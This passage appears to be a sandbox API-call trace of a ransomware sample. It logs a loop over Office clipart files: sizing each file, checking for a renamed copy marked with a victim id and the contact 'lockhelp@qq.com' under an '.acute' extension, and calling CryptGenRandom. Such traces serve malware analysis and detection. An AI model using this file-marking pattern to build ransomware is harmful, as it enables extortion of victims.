(lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.850] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.850] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.850] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=4996) returned 1 [0274.850] CloseHandle (hObject=0x30c) returned 1 [0274.850] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf")) returned 0x20 [0274.850] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.850] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.850] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.850] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.850] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=5004) returned 1 [0274.850] CloseHandle (hObject=0x30c) returned 1 [0274.850] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf")) returned 0x20 [0274.850] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.851] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.851] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.851] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.851] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=4870) returned 1 [0274.851] CloseHandle (hObject=0x30c) returned 1 [0274.851] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf")) returned 0x20 [0274.852] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.852] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.852] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.852] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.852] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=26886) returned 1 [0274.852] CloseHandle (hObject=0x30c) returned 1 [0274.852] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf")) returned 0x20 [0274.852] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.852] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.852] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.852] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.852] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=28948) returned 1 [0274.852] CloseHandle (hObject=0x30c) returned 1 [0274.852] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf")) returned 0x20 [0274.852] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.852] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.852] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.853] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.853] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=11636) returned 1 [0274.853] CloseHandle (hObject=0x30c) returned 1 [0274.853] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf")) returned 0x20 [0274.853] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.853] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.853] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.853] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.854] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=22516) returned 1 [0274.854] CloseHandle (hObject=0x30c) returned 1 [0274.854] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf")) returned 0x20 [0274.854] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.854] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.854] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.854] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.854] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=16180) returned 1 [0274.854] CloseHandle (hObject=0x30c) returned 1 [0274.855] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf")) returned 0x20 [0274.855] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.855] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.855] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.855] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.855] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=17236) returned 1 [0274.855] CloseHandle (hObject=0x30c) returned 1 [0274.855] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf")) returned 0x20 [0274.855] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.855] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.855] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.855] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.855] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=16112) returned 1 [0274.855] CloseHandle (hObject=0x30c) returned 1 [0274.855] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf")) returned 0x20 [0274.855] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.856] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.856] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.856] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.856] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=16676) returned 1 [0274.856] CloseHandle (hObject=0x30c) returned 1 [0274.857] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf")) returned 0x20 [0274.857] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.857] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.858] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.858] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.867] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=26748) returned 1 [0274.867] CloseHandle (hObject=0x30c) returned 1 [0274.867] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf")) returned 0x20 [0274.867] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.868] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.870] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.870] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.920] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=4066) returned 1 [0274.920] CloseHandle (hObject=0x37c) returned 1 [0274.920] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf")) returned 0x20 [0274.920] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.944] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.945] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.945] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.945] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=6256) returned 1 [0274.945] CloseHandle (hObject=0x37c) returned 1 [0274.945] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf")) returned 0x20 [0274.945] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.945] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.945] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.945] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.945] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=19476) returned 1 [0274.946] CloseHandle (hObject=0x37c) returned 1 [0274.946] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf")) returned 0x20 [0274.946] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.946] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.946] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.946] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.946] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3768) returned 1 [0274.946] CloseHandle (hObject=0x37c) returned 1 [0274.946] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf")) returned 0x20 [0274.946] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.946] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.947] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.947] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.947] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3350) returned 1 [0274.947] CloseHandle (hObject=0x37c) returned 1 [0274.947] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf")) returned 0x20 [0274.947] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program 